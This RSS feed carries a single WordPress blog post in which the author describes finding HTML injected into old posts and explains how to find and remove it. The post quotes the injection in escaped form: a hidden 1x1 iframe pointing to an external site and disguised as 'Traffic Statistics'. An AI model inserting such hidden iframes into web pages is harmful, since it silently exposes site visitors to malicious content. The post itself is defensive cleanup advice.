<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>meta BLOG &#187; hackers</title>
	<atom:link href="http://www.metablog.us/tag/hackers/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.metablog.us</link>
	<description>blogging about blogging about</description>
	<lastBuildDate>Mon, 17 May 2010 18:20:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>annoying html injection in wordpress</title>
		<link>http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/</link>
		<comments>http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 11:16:13 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=176</guid>
		<description><![CDATA[two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows: &#60;!-- Traffic Statistics --&#62; &#60;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0&#62;&#60;/iframe&#62; &#60;!-- End Traffic Statistics --&#62; I only became aware of it when Google flagged my archives for that month as [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/">annoying html injection in wordpress</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>two of my old posts at my geekblog Haibane.info dating from <a href="http://www.haibane.info/2007/11/">November 2007</a> had some injected HTML code in them. The injected code read as follows:</p>
<p><code>&lt;!-- Traffic Statistics --&gt; &lt;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0&gt;&lt;/iframe&gt; &lt;!-- End Traffic Statistics --&gt;</code></p>
<p>I only became aware of it when Google flagged my archives for that month as &#8220;malicious&#8221;. Viewing source of the archives page revealed the hack &#8211; probably from some window of time in which I hadnt upgraded to the latest wordpress version.</p>
<p>To ensure you don&#8217;t have old posts in your archives with this exploit, just search your posts for the term &#8220;iframe&#8221;. Edit those posts and you&#8217;ll likely as not find similar code to above. </p>
<p>WordPress has come a long way in making upgrades easier with one click (though some people still run into problems on occasion). I think it would be better is WP had a incremental and automated upgrade process whereby whenever a security-related update was available, you could have it automatically install, just like you can set in Windows. Ideally, this would be controlled by a setting in the Dashboard to &#8220;turn on/off automatic security patches&#8221; and when enabled, would &#8220;register&#8221; your blog with the mothership at wordpress.org so that whenever a security patch is available, you get an automatic email to your admin email account notifying you, and when you next login to Dashboard the patch is automatically applied. </p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/">annoying html injection in wordpress</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
